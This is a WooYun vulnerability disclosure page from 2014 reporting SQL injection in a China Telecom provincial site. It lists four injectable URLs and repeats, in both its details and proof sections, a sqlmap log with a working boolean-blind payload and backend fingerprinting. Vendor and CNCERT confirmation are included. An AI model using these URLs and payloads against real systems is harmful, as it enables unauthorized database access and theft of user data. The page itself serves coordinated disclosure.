当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-089453

漏洞标题:中国电信某省级站点多处SQL注入漏洞(疑似影响大量用户并可跨多个数据库)

相关厂商:中国电信

漏洞作者: #6c6c6c

提交时间:2014-12-31 10:05

修复时间:2015-02-14 10:06

公开时间:2015-02-14 10:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-31: 细节已通知厂商并且等待厂商处理中
2015-01-05: 厂商已经确认,细节仅向厂商公开
2015-01-15: 细节向核心白帽子及相关领域专家公开
2015-01-25: 细节向普通白帽子公开
2015-02-04: 细节向实习白帽子公开
2015-02-14: 细节向公众公开

简要描述:

中国电信的...

详细说明:

注入1:http://support.gzbg100.cn/sysadmin/Login.aspx
注入2:http://www.gzbg100.cn/thirdpage/scenicdetails.aspx?id=90002%27
注入3:http://www.gzbg100.cn/preferentialPage/ly_iyouhui.aspx?cityid=0451%E2%80%99
注入4:http://www.gzbg100.cn/preferentialPage/ly_iyouhui_dy.aspx?pkcode=0451-0313-0001%27
WooYun: 中国电信某省级网站SQL注入(疑似影响千万数据) 从这个洞就能看出数据了,数据库一样的!

注入地址:http://www.gzbg100.cn/preferentialPage/ly_iyouhui.aspx?cityid=0451
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:18:08
[00:18:09] [INFO] using '**********马赛克*********\output\www.gzbg10
0.cn\session' as session file
[00:18:09] [INFO] testing connection to the target url
[00:18:11] [INFO] heuristics detected web page charset 'utf-8'
[00:18:11] [INFO] testing if the url is stable, wait a few seconds
[00:18:14] [INFO] url is stable
[00:18:14] [INFO] testing if GET parameter 'cityid' is dynamic
[00:18:14] [INFO] confirming that GET parameter 'cityid' is dynamic
[00:18:14] [WARNING] GET parameter 'cityid' appears to be not dynamic
[00:18:14] [WARNING] heuristic test shows that GET parameter 'cityid' might not
be injectable
[00:18:14] [INFO] testing sql injection on GET parameter 'cityid'
[00:18:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:18:21] [INFO] GET parameter 'cityid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[00:18:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:18:22] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:18:22] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:18:22] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:18:22] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:18:25] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:18:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:18:26] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:18:26] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:18:26] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:18:26] [INFO] testing 'Oracle AND time-based blind'
[00:18:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:18:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:18:32] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[00:18:39] [INFO] checking if the injection point on GET parameter 'cityid' is a
false positive
GET parameter 'cityid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 48 HTTP(s) requ
ests:
---
Place: GET
Parameter: cityid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cityid=0451' AND 1493=1493 AND 'VHFX'='VHFX
---
[00:18:47] [INFO] testing MySQL
[00:18:48] [WARNING] the back-end DBMS is not MySQL
[00:18:48] [INFO] testing Oracle
[00:18:50] [INFO] confirming Oracle
[00:18:53] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle
[00:18:53] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[00:18:53] [INFO] fetching database (schema) names
[00:18:53] [INFO] fetching number of databases
[00:18:53] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[00:18:53] [INFO] retrieved: 18
[00:19:47] [WARNING] connection timed out while trying to get error page informa
tion (500)
[00:19:50] [INFO] retrieved: COUPON


有点卡,数据就不跑完了。

漏洞证明:

注入1:http://support.gzbg100.cn/sysadmin/Login.aspx
注入2:http://www.gzbg100.cn/thirdpage/scenicdetails.aspx?id=90002%27
注入3:http://www.gzbg100.cn/preferentialPage/ly_iyouhui.aspx?cityid=0451%E2%80%99
注入4:http://www.gzbg100.cn/preferentialPage/ly_iyouhui_dy.aspx?pkcode=0451-0313-0001%27
WooYun: 中国电信某省级网站SQL注入(疑似影响千万数据) 从这个洞就能看出数据了,数据库一样的!

注入地址:http://www.gzbg100.cn/preferentialPage/ly_iyouhui.aspx?cityid=0451
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:18:08
[00:18:09] [INFO] using '**********马赛克*********\output\www.gzbg10
0.cn\session' as session file
[00:18:09] [INFO] testing connection to the target url
[00:18:11] [INFO] heuristics detected web page charset 'utf-8'
[00:18:11] [INFO] testing if the url is stable, wait a few seconds
[00:18:14] [INFO] url is stable
[00:18:14] [INFO] testing if GET parameter 'cityid' is dynamic
[00:18:14] [INFO] confirming that GET parameter 'cityid' is dynamic
[00:18:14] [WARNING] GET parameter 'cityid' appears to be not dynamic
[00:18:14] [WARNING] heuristic test shows that GET parameter 'cityid' might not
be injectable
[00:18:14] [INFO] testing sql injection on GET parameter 'cityid'
[00:18:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:18:21] [INFO] GET parameter 'cityid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[00:18:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:18:22] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:18:22] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:18:22] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:18:22] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:18:25] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:18:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:18:26] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:18:26] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:18:26] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:18:26] [INFO] testing 'Oracle AND time-based blind'
[00:18:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:18:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:18:32] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[00:18:39] [INFO] checking if the injection point on GET parameter 'cityid' is a
false positive
GET parameter 'cityid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 48 HTTP(s) requ
ests:
---
Place: GET
Parameter: cityid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cityid=0451' AND 1493=1493 AND 'VHFX'='VHFX
---
[00:18:47] [INFO] testing MySQL
[00:18:48] [WARNING] the back-end DBMS is not MySQL
[00:18:48] [INFO] testing Oracle
[00:18:50] [INFO] confirming Oracle
[00:18:53] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle
[00:18:53] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[00:18:53] [INFO] fetching database (schema) names
[00:18:53] [INFO] fetching number of databases
[00:18:53] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[00:18:53] [INFO] retrieved: 18
[00:19:47] [WARNING] connection timed out while trying to get error page informa
tion (500)
[00:19:50] [INFO] retrieved: COUPON


有点卡,数据就不跑完了。

修复方案:

过滤下把,然后检查看看有没有webshell

版权声明:转载请注明来源 #6c6c6c@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-05 08:08

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中国电信集团公司,由其后续协调网站管理单位处置.按多个风险点评分,rank 15

最新状态:

暂无